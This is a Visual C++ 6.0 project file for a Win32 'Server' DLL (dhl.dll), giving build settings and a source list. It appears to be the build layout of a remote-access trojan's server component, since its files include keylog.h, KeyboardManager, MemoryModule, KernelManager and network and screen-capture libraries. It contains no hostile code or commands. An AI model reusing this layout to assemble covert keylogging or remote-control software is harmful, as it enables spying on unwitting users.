# Microsoft Developer Studio Project File - Name="Server" - Package Owner=<4> # Microsoft Developer Studio Generated Build File, Format Version 6.00 # ** DO NOT EDIT ** # TARGTYPE "Win32 (x86) Application" 0x0101 CFG=Server - Win32 Release !MESSAGE This is not a valid makefile. To build this project using NMAKE, !MESSAGE use the Export Makefile command and run !MESSAGE !MESSAGE NMAKE /f "Server.mak". !MESSAGE !MESSAGE You can specify a configuration when running NMAKE !MESSAGE by defining the macro CFG on the command line. For example: !MESSAGE !MESSAGE NMAKE /f "Server.mak" CFG="Server - Win32 Release" !MESSAGE !MESSAGE Possible choices for configuration are: !MESSAGE !MESSAGE "Server - Win32 Release" (based on "Win32 (x86) Application") !MESSAGE # Begin Project # PROP AllowPerConfigDependencies 0 # PROP Scc_ProjName "" # PROP Scc_LocalPath "" CPP=cl.exe MTL=midl.exe RSC=rc.exe # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 0 # PROP BASE Output_Dir "Release" # PROP BASE Intermediate_Dir "Release" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 0 # PROP Output_Dir "Release" # PROP Intermediate_Dir "Release" # PROP Ignore_Export_Lib 0 # PROP Target_Dir "" # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /c # ADD CPP /nologo /MD /w /W0 /GX /O2 /I "../common" /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_DLL" /D "_AFXDLL" /D "STRSAFE_NO_DEPRECATE" /Fr /FD /c # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x804 /d "NDEBUG" # ADD RSC /l 0x804 /d "NDEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 # ADD LINK32 ../common/zlib/zlib.lib Shlwapi.lib capture.lib libxvidcore.lib STRMBASE.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib Wininet.lib ws2_32.lib /nologo /dll /map /machine:I386 /nodefaultlib:"LIBCMT" /out:"../Bin/Dat/dhl.dll" /libpath:"../common" # SUBTRACT LINK32 /pdb:none # Begin Target # Name "Server - Win32 Release" # Begin Group "Source Files" # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" # Begin Source File SOURCE=.\Buffer.cpp # End Source File # Begin Source File SOURCE=.\common\ChatManager.cpp # End Source File # Begin Source File SOURCE=.\ClientSocket.cpp # End Source File # Begin Source File SOURCE=.\KernelManager.cpp # End Source File # Begin Source File SOURCE=.\common\KeyboardManager.cpp # End Source File # Begin Source File SOURCE=.\Manager.cpp # End Source File # Begin Source File SOURCE=.\MemoryModule.cpp # End Source File # Begin Source File SOURCE=.\Server.cpp # End Source File # Begin Source File SOURCE=.\StdAfx.cpp # End Source File # Begin Source File SOURCE=.\until.cpp # End Source File # End Group # Begin Group "Header Files" # PROP Default_Filter "h;hpp;hxx;hm;inl" # Begin Source File SOURCE=.\Buffer.h # End Source File # Begin Source File SOURCE=.\common\ChatManager.h # End Source File # Begin Source File SOURCE=.\ClientSocket.h # End Source File # Begin Source File SOURCE=.\KernelManager.h # End Source File # Begin Source File SOURCE=.\common\KeyboardManager.h # End Source File # Begin Source File SOURCE=.\common\keylog.h # End Source File # Begin Source File SOURCE=.\Login.h # End Source File # Begin Source File SOURCE=.\Loop.h # End Source File # Begin Source File SOURCE=.\Manager.h # End Source File # Begin Source File SOURCE=.\MemoryModule.h # End Source File # Begin Source File SOURCE=.\resource.h # End Source File # Begin Source File SOURCE=.\StdAfx.h # End Source File # Begin Source File SOURCE=.\until.h # End Source File # End Group # End Target # End Project